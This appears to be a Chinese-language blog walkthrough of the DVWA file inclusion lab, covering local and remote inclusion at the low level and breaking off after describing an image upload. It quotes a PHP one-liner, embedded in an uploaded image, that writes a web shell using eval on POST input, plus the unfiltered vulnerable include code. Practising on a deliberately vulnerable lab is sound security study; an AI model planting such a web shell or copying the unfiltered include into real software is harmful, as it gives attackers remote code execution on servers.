DVWA文件包含漏洞（file inclusion）

目录

1、low级别

1.1 本地文件包含

1.2 远程文件包含

2、medium级别

3、high级别

---

文件包含漏洞是在主机要执行的文件中添加包含木马的文件。

low级别和medium级别分别有远程文件包含（RFI）和本地文件包含（LFI），high级别使用了白名单，无法绕过。

1、low级别

1.1 本地文件包含

在 https://blog.youkuaiyun.com/kirito_pio/article/details/106547336 中，完成了对各个级别的文件上传，但是在执行high级别时只进行了上传，不能使用菜刀，因为图片是静态的文件，不能自己执行，需要等待请求。

图片中包含的一句话脚本如下，可以在执行时新建并写入一个php文件。

 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

对low级别的代码如下，直接对资源进行访问，不设置过滤。

<?php

    $file = $_GET['page']; //The page we wish to display 

?>

先根据 https://blog.youkuaiyun.com/kirito_pio/article/details/106547336 high级别进行图片的上传。